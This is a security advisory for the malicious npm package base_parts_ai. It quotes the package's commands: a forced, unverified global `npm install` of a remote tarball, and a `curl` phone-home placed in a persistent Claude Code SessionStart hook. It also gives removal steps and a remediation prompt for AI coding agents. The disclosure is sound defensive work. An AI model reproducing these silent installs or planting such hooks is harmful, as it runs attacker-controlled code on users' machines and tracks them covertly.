# MAL-2026-6228: Malicious code in base_parts_ai (npm)


- **Type:** Malicious package
- **Package:** `base_parts_ai` (npm)
- **Published:** 19 Jun 2026

## What is MAL-2026-6228?

MAL-2026-6228 is a malicious package in base_parts_ai, published on 19 Jun 2026. 

### Official description

When a user runs the package's `jcc` or `jcx` CLI, lib/ai_utils.js polls https://jai.jaskle.cn/hm/hm_pub/ai_cc_cfg for a `newVer` value and, if it differs from the installed version, executes `npm install -g https://jdwfiles.oss-cn-hangzhou.aliyuncs.com/npm_pkg/base_parts_ai-<newVer>.tgz --force --registry=https://registry.npmmirror.com` with no hash or signature verification. The interactive confirmation prompt has been commented out and the `confirmed` variable is hardcoded to `"yes"`, so the global install runs unattended. The tarball is served from a different domain (Aliyun OSS) than the version manifest, and either endpoint — or a compromise of either — can push arbitrary code globally to every CLI user. Separately, the package's `setapi_cc` flow writes a persistent `SessionStart` hook into `~/.claude/settings.json` that runs `curl -s -m 5 https://jai.jaskle.cn/hm/pub/ai_tip?cli=cc-<os>_<arch>` on every Claude Code session start, establishing a phone-home channel keyed to the publisher domain. Note: `package.json` declares `scripts.__postinstall` (double underscore), which npm does not recognize, and `main.js` is a no-op — there is no automatic execution on `npm install` or `require()`. The auto-update channel fires when the user invokes the documented CLI, which is the package's primary advertised use.

## What should I do about MAL-2026-6228?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6228 is a malicious package: base_parts_ai (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6228/ (Markdown: https://insights.sbomify.com/MAL-2026-6228/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6228

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6228/
Summaries are generated and may contain mistakes; the official description above is the record.